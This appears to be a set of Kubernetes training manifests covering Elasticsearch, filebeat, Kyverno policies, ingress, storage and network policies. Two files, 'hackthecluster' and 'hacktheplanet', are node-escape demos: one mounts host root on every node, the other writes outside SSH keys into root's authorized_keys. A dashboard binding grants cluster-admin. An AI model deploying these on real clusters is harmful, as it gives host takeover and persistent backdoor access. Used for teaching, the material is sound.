apiVersion: v1
kind: Service
metadata:
labels:
app: elasticsearch
name: elasticsearch
namespace: default
spec:
ports:
- port: 9200
protocol: TCP
targetPort: 9200
selector:
app: elasticsearch
type: ClusterIP
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: kibana
name: kibana
namespace: default
spec:
selector:
matchLabels:
app: kibana
template:
metadata:
labels:
app: kibana
spec:
containers:
- env:
- name: ELASTICSEARCH_URL
value: http://elasticsearch:9200/
image: kibana:5
name: kibana
resources: {}
---
apiVersion: v1
kind: Service
metadata:
labels:
app: kibana
name: kibana
namespace: default
spec:
ports:
- port: 5601
protocol: TCP
targetPort: 5601
selector:
app: kibana
type: NodePort

View File

@@ -0,0 +1,20 @@
apiVersion: enterprises.upmc.com/v1
kind: ElasticsearchCluster
metadata:
name: es
spec:
kibana:
image: docker.elastic.co/kibana/kibana-oss:6.1.3
image-pull-policy: Always
cerebro:
image: upmcenterprises/cerebro:0.7.2
image-pull-policy: Always
elastic-search-image: upmcenterprises/docker-elasticsearch-kubernetes:6.1.3_0
image-pull-policy: Always
client-node-replicas: 2
master-node-replicas: 3
data-node-replicas: 3
network-host: 0.0.0.0
use-ssl: false
data-volume-size: 10Gi
java-options: "-Xms512m -Xmx512m"

View File

@@ -0,0 +1,97 @@
# This is mirrored from https://github.com/upmc-enterprises/elasticsearch-operator/blob/master/example/controller.yaml but using the elasticsearch-operator namespace instead of operator
---
apiVersion: v1
kind: Namespace
metadata:
name: elasticsearch-operator
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: elasticsearch-operator
namespace: elasticsearch-operator
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: elasticsearch-operator
rules:
- apiGroups: ["extensions"]
resources: ["deployments", "replicasets", "daemonsets"]
verbs: ["create", "get", "update", "delete", "list"]
- apiGroups: ["apiextensions.k8s.io"]
resources: ["customresourcedefinitions"]
verbs: ["create", "get", "update", "delete", "list"]
- apiGroups: ["storage.k8s.io"]
resources: ["storageclasses"]
verbs: ["get", "list", "create", "delete", "deletecollection"]
- apiGroups: [""]
resources: ["persistentvolumes", "persistentvolumeclaims", "services", "secrets", "configmaps"]
verbs: ["create", "get", "update", "delete", "list"]
- apiGroups: ["batch"]
resources: ["cronjobs", "jobs"]
verbs: ["create", "get", "deletecollection", "delete"]
- apiGroups: [""]
resources: ["pods"]
verbs: ["list", "get", "watch"]
- apiGroups: ["apps"]
resources: ["statefulsets", "deployments"]
verbs: ["*"]
- apiGroups: ["enterprises.upmc.com"]
resources: ["elasticsearchclusters"]
verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: elasticsearch-operator
namespace: elasticsearch-operator
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: elasticsearch-operator
subjects:
- kind: ServiceAccount
name: elasticsearch-operator
namespace: elasticsearch-operator
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: elasticsearch-operator
namespace: elasticsearch-operator
spec:
replicas: 1
selector:
matchLabels:
name: elasticsearch-operator
template:
metadata:
labels:
name: elasticsearch-operator
spec:
containers:
- name: operator
image: upmcenterprises/elasticsearch-operator:0.2.0
imagePullPolicy: Always
env:
- name: NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
ports:
- containerPort: 8000
name: http
livenessProbe:
httpGet:
path: /live
port: 8000
initialDelaySeconds: 10
timeoutSeconds: 10
readinessProbe:
httpGet:
path: /ready
port: 8000
initialDelaySeconds: 10
timeoutSeconds: 5
serviceAccount: elasticsearch-operator

29
k8s/event-node.yaml Normal file
View File

@@ -0,0 +1,29 @@
kind: Event
apiVersion: v1
metadata:
generateName: hello-
labels:
container.training/test: ""
#eventTime: "2020-07-04T00:00:00.000000Z"
#firstTimestamp: "2020-01-01T00:00:00.000000Z"
#lastTimestamp: "2020-12-31T00:00:00.000000Z"
#count: 42
involvedObject:
kind: Node
apiVersion: v1
name: kind-control-plane
# Note: the uid should be the Node name (not the uid of the Node).
# This might be specific to global objects.
uid: kind-control-plane
type: Warning
reason: NodeOverheat
message: "Node temperature exceeds critical threshold"
action: Hello
source:
component: thermal-probe
#host: node1
#reportingComponent: ""
#reportingInstance: ""

35
k8s/event-pod.yaml Normal file
View File

@@ -0,0 +1,35 @@
kind: Event
apiVersion: v1
metadata:
# One convention is to use <objectname>.<timestamp>,
# where the timestamp is taken with a nanosecond
# precision and expressed in hexadecimal.
# Example: web-5dcb957ccc-fjvzc.164689730a36ec3d
name: hello.1234567890
# The label doesn't serve any purpose, except making
# it easier to identify or delete that specific event.
labels:
container.training/test: ""
#eventTime: "2020-07-04T00:00:00.000000Z"
#firstTimestamp: "2020-01-01T00:00:00.000000Z"
#lastTimestamp: "2020-12-31T00:00:00.000000Z"
#count: 42
involvedObject:
### These 5 lines should be updated to refer to an object.
### Make sure to put the correct "uid", because it is what
### "kubectl describe" is using to gather relevant events.
#apiVersion: v1
#kind: Pod
#name: magic-bean
#namespace: blue
#uid: 7f28fda8-6ef4-4580-8d87-b55721fcfc30
type: Normal
reason: BackupSuccessful
message: "Object successfully dumped to gitops repository"
source:
component: gitops-sync
#reportingComponent: ""
#reportingInstance: ""

170
k8s/filebeat.yaml Normal file
View File

@@ -0,0 +1,170 @@
---
apiVersion: v1
kind: ConfigMap
metadata:
name: filebeat-config
namespace: kube-system
labels:
k8s-app: filebeat
data:
filebeat.yml: |-
filebeat.config:
inputs:
# Mounted `filebeat-inputs` configmap:
path: ${path.config}/inputs.d/*.yml
# Reload inputs configs as they change:
reload.enabled: false
modules:
path: ${path.config}/modules.d/*.yml
# Reload module configs as they change:
reload.enabled: false
# To enable hints based autodiscover, remove `filebeat.config.inputs` configuration and uncomment this:
#filebeat.autodiscover:
# providers:
# - type: kubernetes
# hints.enabled: true
processors:
- add_cloud_metadata:
cloud.id: ${ELASTIC_CLOUD_ID}
cloud.auth: ${ELASTIC_CLOUD_AUTH}
output.elasticsearch:
hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']
username: ${ELASTICSEARCH_USERNAME}
password: ${ELASTICSEARCH_PASSWORD}
---
apiVersion: v1
kind: ConfigMap
metadata:
name: filebeat-inputs
namespace: kube-system
labels:
k8s-app: filebeat
data:
kubernetes.yml: |-
- type: docker
containers.ids:
- "*"
processors:
- add_kubernetes_metadata:
in_cluster: true
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: filebeat
namespace: kube-system
labels:
k8s-app: filebeat
spec:
selector:
matchLabels:
k8s-app: filebeat
template:
metadata:
labels:
k8s-app: filebeat
spec:
serviceAccountName: filebeat
terminationGracePeriodSeconds: 30
containers:
- name: filebeat
image: docker.elastic.co/beats/filebeat-oss:7.0.1
args: [
"-c", "/etc/filebeat.yml",
"-e",
]
env:
- name: ELASTICSEARCH_HOST
value: elasticsearch-es.default.svc.cluster.local
- name: ELASTICSEARCH_PORT
value: "9200"
- name: ELASTICSEARCH_USERNAME
value: elastic
- name: ELASTICSEARCH_PASSWORD
value: changeme
- name: ELASTIC_CLOUD_ID
value:
- name: ELASTIC_CLOUD_AUTH
value:
securityContext:
runAsUser: 0
# If using Red Hat OpenShift uncomment this:
#privileged: true
resources:
limits:
memory: 200Mi
requests:
cpu: 100m
memory: 100Mi
volumeMounts:
- name: config
mountPath: /etc/filebeat.yml
readOnly: true
subPath: filebeat.yml
- name: inputs
mountPath: /usr/share/filebeat/inputs.d
readOnly: true
- name: data
mountPath: /usr/share/filebeat/data
- name: varlibdockercontainers
mountPath: /var/lib/docker/containers
readOnly: true
volumes:
- name: config
configMap:
defaultMode: 0600
name: filebeat-config
- name: varlibdockercontainers
hostPath:
path: /var/lib/docker/containers
- name: inputs
configMap:
defaultMode: 0600
name: filebeat-inputs
# data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart
- name: data
hostPath:
path: /var/lib/filebeat-data
type: DirectoryOrCreate
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: filebeat
subjects:
- kind: ServiceAccount
name: filebeat
namespace: kube-system
roleRef:
kind: ClusterRole
name: filebeat
apiGroup: rbac.authorization.k8s.io
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: filebeat
labels:
k8s-app: filebeat
rules:
- apiGroups: [""] # "" indicates the core API group
resources:
- namespaces
- pods
verbs:
- get
- watch
- list
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: filebeat
namespace: kube-system
labels:
k8s-app: filebeat
---

View File

@@ -0,0 +1,14 @@
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: kubernetes-dashboard
labels:
k8s-app: kubernetes-dashboard
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: kubernetes-dashboard
namespace: kube-system

34
k8s/hackthecluster.yaml Normal file
View File

@@ -0,0 +1,34 @@
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: hackthecluster
spec:
selector:
matchLabels:
app: hackthecluster
template:
metadata:
labels:
app: hackthecluster
spec:
volumes:
- name: slash
hostPath:
path: /
tolerations:
- effect: NoSchedule
operator: Exists
containers:
- name: alpine
image: alpine
volumeMounts:
- name: slash
mountPath: /hostfs
command:
- sleep
- infinity
securityContext:
#privileged: true
capabilities:
add:
- SYS_CHROOT

33
k8s/hacktheplanet.yaml Normal file
View File

@@ -0,0 +1,33 @@
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: hacktheplanet
spec:
selector:
matchLabels:
app: hacktheplanet
template:
metadata:
labels:
app: hacktheplanet
spec:
volumes:
- name: root
hostPath:
path: /root
tolerations:
- effect: NoSchedule
operator: Exists
initContainers:
- name: hacktheplanet
image: alpine
volumeMounts:
- name: root
mountPath: /root
command:
- sh
- -c
- "mkdir -p /root/.ssh && apk update && apk add curl && curl https://github.com/jpetazzo.keys > /root/.ssh/authorized_keys"
containers:
- name: web
image: nginx

16
k8s/haproxy.cfg Normal file
View File

@@ -0,0 +1,16 @@
global
daemon
defaults
mode tcp
timeout connect 5s
timeout client 50s
timeout server 50s
listen very-basic-load-balancer
bind *:80
server blue color.blue.svc:80
server green color.green.svc:80
# Note: the services above must exist,
# otherwise HAproxy won't start.

15
k8s/haproxy.yaml Normal file
View File

@@ -0,0 +1,15 @@
apiVersion: v1
kind: Pod
metadata:
name: haproxy
spec:
volumes:
- name: config
configMap:
name: haproxy
containers:
- name: haproxy
image: haproxy:1
volumeMounts:
- name: config
mountPath: /usr/local/etc/haproxy/

View File

@@ -0,0 +1,28 @@
kind: HorizontalPodAutoscaler
apiVersion: autoscaling/v2beta2
metadata:
name: rng
spec:
scaleTargetRef:
apiVersion: apps/v1
kind: Deployment
name: rng
minReplicas: 1
maxReplicas: 20
behavior:
scaleUp:
stabilizationWindowSeconds: 60
scaleDown:
stabilizationWindowSeconds: 180
metrics:
- type: Object
object:
describedObject:
apiVersion: v1
kind: Service
name: httplat
metric:
name: httplat_latency_seconds
target:
type: Value
value: 0.1

20
k8s/ingress-v1.yaml Normal file
View File

@@ -0,0 +1,20 @@
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: whatever
spec:
#tls:
#- secretName: whatever.A.B.C.D.nip.io
# hosts:
# - whatever.A.B.C.D.nip.io
rules:
- host: whatever.A.B.C.D.nip.io
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: whatever
port:
number: 1234

17
k8s/ingress-v1beta1.yaml Normal file
View File

@@ -0,0 +1,17 @@
apiVersion: networking.k8s.io/v1beta1
kind: Ingress
metadata:
name: whatever
spec:
#tls:
#- secretName: whatever.A.B.C.D.nip.io
# hosts:
# - whatever.A.B.C.D.nip.io
rules:
- host: whatever.A.B.C.D.nip.io
http:
paths:
- path: /
backend:
serviceName: whatever
servicePort: 1234

17
k8s/ingress.yaml Normal file
View File

@@ -0,0 +1,17 @@
apiVersion: networking.k8s.io/v1beta1
kind: Ingress
metadata:
name: whatever
spec:
#tls:
#- secretName: whatever.A.B.C.D.nip.io
# hosts:
# - whatever.A.B.C.D.nip.io
rules:
- host: whatever.A.B.C.D.nip.io
http:
paths:
- path: /
backend:
serviceName: whatever
servicePort: 1234

9
k8s/just-a-pod.yaml Normal file
View File

@@ -0,0 +1,9 @@
apiVersion: v1
kind: Pod
metadata:
name: hello
namespace: default
spec:
containers:
- name: hello
image: nginx

28
k8s/kaniko-build.yaml Normal file
View File

@@ -0,0 +1,28 @@
apiVersion: v1
kind: Pod
metadata:
name: kaniko-build
spec:
initContainers:
- name: git-clone
image: alpine
command: ["sh", "-c"]
args:
- |
apk add --no-cache git &&
git clone git://github.com/jpetazzo/container.training /workspace
volumeMounts:
- name: workspace
mountPath: /workspace
containers:
- name: build-image
image: gcr.io/kaniko-project/executor:latest
args:
- "--context=/workspace/dockercoins/rng"
- "--insecure"
- "--destination=registry:5000/rng-kaniko:latest"
volumeMounts:
- name: workspace
mountPath: /workspace
volumes:
- name: workspace

View File

@@ -0,0 +1,28 @@
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: ingress-domain-name
spec:
rules:
- name: create-ingress
match:
resources:
kinds:
- Service
generate:
kind: Ingress
name: "{{request.object.metadata.name}}"
namespace: "{{request.object.metadata.namespace}}"
data:
spec:
rules:
- host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.A.B.C.D.nip.io"
http:
paths:
- backend:
service:
name: "{{request.object.metadata.name}}"
port:
number: 80
path: /
pathType: Prefix

View File

@@ -0,0 +1,32 @@
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: ingress-domain-name
spec:
rules:
- name: create-ingress
match:
resources:
kinds:
- Service
preconditions:
- key: "{{request.object.spec.ports[0].name}}"
operator: Equals
value: http
generate:
kind: Ingress
name: "{{request.object.metadata.name}}"
namespace: "{{request.object.metadata.namespace}}"
data:
spec:
rules:
- host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.A.B.C.D.nip.io"
http:
paths:
- backend:
service:
name: "{{request.object.metadata.name}}"
port:
name: http
path: /
pathType: Prefix

View File

@@ -0,0 +1,32 @@
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: ingress-domain-name
spec:
rules:
- name: create-ingress
match:
resources:
kinds:
- Service
preconditions:
- key: http
operator: In
value: "{{request.object.spec.ports[*].name}}"
generate:
kind: Ingress
name: "{{request.object.metadata.name}}"
namespace: "{{request.object.metadata.namespace}}"
data:
spec:
rules:
- host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.A.B.C.D.nip.io"
http:
paths:
- backend:
service:
name: "{{request.object.metadata.name}}"
port:
name: http
path: /
pathType: Prefix

View File

@@ -0,0 +1,34 @@
# Note: this policy uses the operator "AnyIn", which was introduced in Kyverno 1.6.
# (This policy won't work with Kyverno 1.5!)
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: ingress-domain-name
spec:
rules:
- name: create-ingress
match:
resources:
kinds:
- Service
preconditions:
- key: "{{request.object.spec.ports[*].port}}"
operator: AnyIn
value: [ 80 ]
generate:
kind: Ingress
name: "{{request.object.metadata.name}}"
namespace: "{{request.object.metadata.namespace}}"
data:
spec:
rules:
- host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.A.B.C.D.nip.io"
http:
paths:
- backend:
service:
name: "{{request.object.metadata.name}}"
port:
name: http
path: /
pathType: Prefix

View File

@@ -0,0 +1,37 @@
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: ingress-domain-name
spec:
rules:
- name: create-ingress
context:
- name: configmap
configMap:
name: ingress-domain-name
namespace: "{{request.object.metadata.namespace}}"
match:
resources:
kinds:
- Service
preconditions:
- key: "{{request.object.spec.ports[0].name}}"
operator: Equals
value: http
generate:
kind: Ingress
name: "{{request.object.metadata.name}}"
namespace: "{{request.object.metadata.namespace}}"
data:
spec:
rules:
- host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.{{configmap.data.domain}}"
http:
paths:
- backend:
service:
name: "{{request.object.metadata.name}}"
port:
name: http
path: /
pathType: Prefix

View File

@@ -0,0 +1,62 @@
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: setup-namespace
spec:
rules:
- name: setup-limitrange
match:
resources:
kinds:
- Namespace
generate:
kind: LimitRange
name: default-limitrange
namespace: "{{request.object.metadata.name}}"
data:
spec:
limits:
- type: Container
min:
cpu: 0.1
memory: 0.1
max:
cpu: 2
memory: 2Gi
default:
cpu: 0.25
memory: 500Mi
defaultRequest:
cpu: 0.25
memory: 250Mi
- name: setup-resourcequota
match:
resources:
kinds:
- Namespace
generate:
kind: ResourceQuota
name: default-resourcequota
namespace: "{{request.object.metadata.name}}"
data:
spec:
hard:
requests.cpu: "10"
requests.memory: 10Gi
limits.cpu: "20"
limits.memory: 20Gi
- name: setup-networkpolicy
match:
resources:
kinds:
- Namespace
generate:
kind: NetworkPolicy
name: default-networkpolicy
namespace: "{{request.object.metadata.name}}"
data:
spec:
podSelector: {}
ingress:
- from:
- podSelector: {}

View File

@@ -0,0 +1,22 @@
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: pod-color-policy-1
spec:
validationFailureAction: enforce
rules:
- name: ensure-pod-color-is-valid
match:
resources:
kinds:
- Pod
selector:
matchExpressions:
- key: color
operator: Exists
- key: color
operator: NotIn
values: [ red, green, blue ]
validate:
message: "If it exists, the label color must be red, green, or blue."
deny: {}

View File

@@ -0,0 +1,30 @@
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: pod-color-policy-2
spec:
validationFailureAction: enforce
background: false
rules:
- name: prevent-color-change
match:
resources:
kinds:
- Pod
preconditions:
- key: "{{ request.operation }}"
operator: Equals
value: UPDATE
- key: "{{ request.oldObject.metadata.labels.color || '' }}"
operator: NotEquals
value: ""
- key: "{{ request.object.metadata.labels.color || '' }}"
operator: NotEquals
value: ""
validate:
message: "Once label color has been added, it cannot be changed."
deny:
conditions:
- key: "{{ request.object.metadata.labels.color }}"
operator: NotEquals
value: "{{ request.oldObject.metadata.labels.color }}"

View File

@@ -0,0 +1,27 @@
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: pod-color-policy-3
spec:
validationFailureAction: enforce
background: false
rules:
- name: prevent-color-change
match:
resources:
kinds:
- Pod
preconditions:
- key: "{{ request.operation }}"
operator: Equals
value: UPDATE
- key: "{{ request.oldObject.metadata.labels.color || '' }}"
operator: NotEquals
value: ""
- key: "{{ request.object.metadata.labels.color || '' }}"
operator: Equals
value: ""
validate:
message: "Once label color has been added, it cannot be removed."
deny:
conditions:

View File

@@ -0,0 +1,45 @@
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: tls-for-ingress
spec:
rules:
- name: create-role
match:
resources:
kinds:
- Certificate
generate:
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
name: "{{request.object.metadata.name}}"
namespace: "{{request.object.metadata.namespace}}"
data:
rules:
- verbs:
- get
apiGroups:
- ""
resources:
- secrets
resourceNames:
- "{{request.object.metadata.name}}"
- name: create-rolebinding
match:
resources:
kinds:
- Certificate
generate:
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
name: "{{request.object.metadata.name}}"
namespace: "{{request.object.metadata.namespace}}"
data:
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: "{{request.object.metadata.name}}"
subjects:
- kind: ServiceAccount
name: default
namespace: "{{request.object.metadata.namespace}}"

157
k8s/local-path-storage.yaml Normal file
View File

@@ -0,0 +1,157 @@
# This is a local copy of:
# https://github.com/rancher/local-path-provisioner/blob/master/deploy/local-path-storage.yaml
apiVersion: v1
kind: Namespace
metadata:
name: local-path-storage
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: local-path-provisioner-service-account
namespace: local-path-storage
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: local-path-provisioner-role
rules:
- apiGroups: [ "" ]
resources: [ "nodes", "persistentvolumeclaims", "configmaps" ]
verbs: [ "get", "list", "watch" ]
- apiGroups: [ "" ]
resources: [ "endpoints", "persistentvolumes", "pods" ]
verbs: [ "*" ]
- apiGroups: [ "" ]
resources: [ "events" ]
verbs: [ "create", "patch" ]
- apiGroups: [ "storage.k8s.io" ]
resources: [ "storageclasses" ]
verbs: [ "get", "list", "watch" ]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: local-path-provisioner-bind
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: local-path-provisioner-role
subjects:
- kind: ServiceAccount
name: local-path-provisioner-service-account
namespace: local-path-storage
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: local-path-provisioner
namespace: local-path-storage
spec:
replicas: 1
selector:
matchLabels:
app: local-path-provisioner
template:
metadata:
labels:
app: local-path-provisioner
spec:
serviceAccountName: local-path-provisioner-service-account
containers:
- name: local-path-provisioner
image: rancher/local-path-provisioner:v0.0.19
imagePullPolicy: IfNotPresent
command:
- local-path-provisioner
- --debug
- start
- --config
- /etc/config/config.json
volumeMounts:
- name: config-volume
mountPath: /etc/config/
env:
- name: POD_NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
volumes:
- name: config-volume
configMap:
name: local-path-config
---
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: local-path
provisioner: rancher.io/local-path
volumeBindingMode: WaitForFirstConsumer
reclaimPolicy: Delete
---
kind: ConfigMap
apiVersion: v1
metadata:
name: local-path-config
namespace: local-path-storage
data:
config.json: |-
{
"nodePathMap":[
{
"node":"DEFAULT_PATH_FOR_NON_LISTED_NODES",
"paths":["/opt/local-path-provisioner"]
}
]
}
setup: |-
#!/bin/sh
while getopts "m:s:p:" opt
do
case $opt in
p)
absolutePath=$OPTARG
;;
s)
sizeInBytes=$OPTARG
;;
m)
volMode=$OPTARG
;;
esac
done
mkdir -m 0777 -p ${absolutePath}
teardown: |-
#!/bin/sh
while getopts "m:s:p:" opt
do
case $opt in
p)
absolutePath=$OPTARG
;;
s)
sizeInBytes=$OPTARG
;;
m)
volMode=$OPTARG
;;
esac
done
rm -rf ${absolutePath}
helperPod.yaml: |-
apiVersion: v1
kind: Pod
metadata:
name: helper-pod
spec:
containers:
- name: helper-pod
image: busybox

193
k8s/metrics-server.yaml Normal file
View File

@@ -0,0 +1,193 @@
# This file is https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml
# But with the following arguments added to metrics-server:
# args:
# - --kubelet-insecure-tls
# - --metric-resolution=5s
apiVersion: v1
kind: ServiceAccount
metadata:
labels:
k8s-app: metrics-server
name: metrics-server
namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
labels:
k8s-app: metrics-server
rbac.authorization.k8s.io/aggregate-to-admin: "true"
rbac.authorization.k8s.io/aggregate-to-edit: "true"
rbac.authorization.k8s.io/aggregate-to-view: "true"
name: system:aggregated-metrics-reader
rules:
- apiGroups:
- metrics.k8s.io
resources:
- pods
- nodes
verbs:
- get
- list
- watch
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
labels:
k8s-app: metrics-server
name: system:metrics-server
rules:
- apiGroups:
- ""
resources:
- pods
- nodes
- nodes/stats
- namespaces
- configmaps
verbs:
- get
- list
- watch
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
labels:
k8s-app: metrics-server
name: metrics-server-auth-reader
namespace: kube-system
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: extension-apiserver-authentication-reader
subjects:
- kind: ServiceAccount
name: metrics-server
namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
labels:
k8s-app: metrics-server
name: metrics-server:system:auth-delegator
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: system:auth-delegator
subjects:
- kind: ServiceAccount
name: metrics-server
namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
labels:
k8s-app: metrics-server
name: system:metrics-server
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: system:metrics-server
subjects:
- kind: ServiceAccount
name: metrics-server
namespace: kube-system
---
apiVersion: v1
kind: Service
metadata:
labels:
k8s-app: metrics-server
name: metrics-server
namespace: kube-system
spec:
ports:
- name: https
port: 443
protocol: TCP
targetPort: https
selector:
k8s-app: metrics-server
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
k8s-app: metrics-server
name: metrics-server
namespace: kube-system
spec:
selector:
matchLabels:
k8s-app: metrics-server
strategy:
rollingUpdate:
maxUnavailable: 0
template:
metadata:
labels:
k8s-app: metrics-server
spec:
containers:
- args:
- --cert-dir=/tmp
- --secure-port=4443
- --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
- --kubelet-use-node-status-port
- --kubelet-insecure-tls
- --metric-resolution=5s
image: k8s.gcr.io/metrics-server/metrics-server:v0.4.3
imagePullPolicy: IfNotPresent
livenessProbe:
failureThreshold: 3
httpGet:
path: /livez
port: https
scheme: HTTPS
periodSeconds: 10
name: metrics-server
ports:
- containerPort: 4443
name: https
protocol: TCP
readinessProbe:
failureThreshold: 3
httpGet:
path: /readyz
port: https
scheme: HTTPS
periodSeconds: 10
securityContext:
readOnlyRootFilesystem: true
runAsNonRoot: true
runAsUser: 1000
volumeMounts:
- mountPath: /tmp
name: tmp-dir
nodeSelector:
kubernetes.io/os: linux
priorityClassName: system-cluster-critical
serviceAccountName: metrics-server
volumes:
- emptyDir: {}
name: tmp-dir
---
apiVersion: apiregistration.k8s.io/v1
kind: APIService
metadata:
labels:
k8s-app: metrics-server
name: v1beta1.metrics.k8s.io
spec:
group: metrics.k8s.io
groupPriorityMinimum: 100
insecureSkipTLSVerify: true
service:
name: metrics-server
namespace: kube-system
version: v1beta1
versionPriority: 100

20
k8s/mounter.yaml Normal file
View File

@@ -0,0 +1,20 @@
kind: Pod
apiVersion: v1
metadata:
generateName: mounter-
labels:
container.training/mounter: ""
spec:
volumes:
- name: pvc
persistentVolumeClaim:
claimName: my-pvc-XYZ45
containers:
- name: mounter
image: alpine
stdin: true
tty: true
volumeMounts:
- name: pvc
mountPath: /pvc
workingDir: /pvc

View File

@@ -0,0 +1,13 @@
kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
name: allow-testcurl-for-testweb
spec:
podSelector:
matchLabels:
app: testweb
ingress:
- from:
- podSelector:
matchLabels:
run: testcurl

View File

@@ -0,0 +1,9 @@
kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
name: deny-all-for-testweb
spec:
podSelector:
matchLabels:
app: testweb
ingress: []

View File

@@ -0,0 +1,20 @@
kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
name: deny-from-other-namespaces
spec:
podSelector: {}
ingress:
- from:
- podSelector: {}
---
kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
name: allow-webui
spec:
podSelector:
matchLabels:
app: webui
ingress:
- from: []

View File

@@ -0,0 +1,8 @@
apiVersion: v1
kind: Pod
metadata:
name: nginx-without-volume
spec:
containers:
- name: nginx
image: nginx

View File

@@ -0,0 +1,13 @@
apiVersion: v1
kind: Pod
metadata:
name: nginx-with-volume
spec:
volumes:
- name: www
containers:
- name: nginx
image: nginx
volumeMounts:
- name: www
mountPath: /usr/share/nginx/html/

20
k8s/nginx-3-with-git.yaml Normal file
View File

@@ -0,0 +1,20 @@
apiVersion: v1
kind: Pod
metadata:
name: nginx-with-git
spec:
volumes:
- name: www
containers:
- name: nginx
image: nginx
volumeMounts:
- name: www
mountPath: /usr/share/nginx/html/
- name: git
image: alpine
command: [ "sh", "-c", "apk add git && git clone https://github.com/octocat/Spoon-Knife /www" ]
volumeMounts:
- name: www
mountPath: /www/
restartPolicy: OnFailure

View File

@@ -0,0 +1,20 @@
apiVersion: v1
kind: Pod
metadata:
name: nginx-with-init
spec:
volumes:
- name: www
containers:
- name: nginx
image: nginx
volumeMounts:
- name: www
mountPath: /usr/share/nginx/html/
initContainers:
- name: git
image: alpine
command: [ "sh", "-c", "apk add git && sleep 5 && git clone https://github.com/octocat/Spoon-Knife /www" ]
volumeMounts:
- name: www
mountPath: /www/

23
k8s/openebs-pod.yaml Normal file
View File

@@ -0,0 +1,23 @@
apiVersion: v1
kind: Pod
metadata:
name: openebs-local-hostpath-pod
spec:
volumes:
- name: storage
persistentVolumeClaim:
claimName: local-hostpath-pvc
containers:
- name: better
image: alpine
command:
- sh
- -c
- |
while true; do
echo "$(date) [$(hostname)] Kubernetes is better with PVs." >> /mnt/storage/greet.txt
sleep $(($RANDOM % 5 + 20))
done
volumeMounts:
- mountPath: /mnt/storage
name: storage

View File

@@ -0,0 +1,98 @@
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: persistentconsul
rules:
- apiGroups: [""]
resources:
- pods
verbs:
- get
- list
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: persistentconsul
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: persistentconsul
subjects:
- kind: ServiceAccount
name: persistentconsul
namespace: default
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: persistentconsul
---
apiVersion: v1
kind: Service
metadata:
name: persistentconsul
spec:
ports:
- port: 8500
name: http
selector:
app: persistentconsul
---
apiVersion: apps/v1
kind: StatefulSet
metadata:
name: persistentconsul
spec:
serviceName: persistentconsul
replicas: 3
selector:
matchLabels:
app: persistentconsul
volumeClaimTemplates:
- metadata:
name: data
spec:
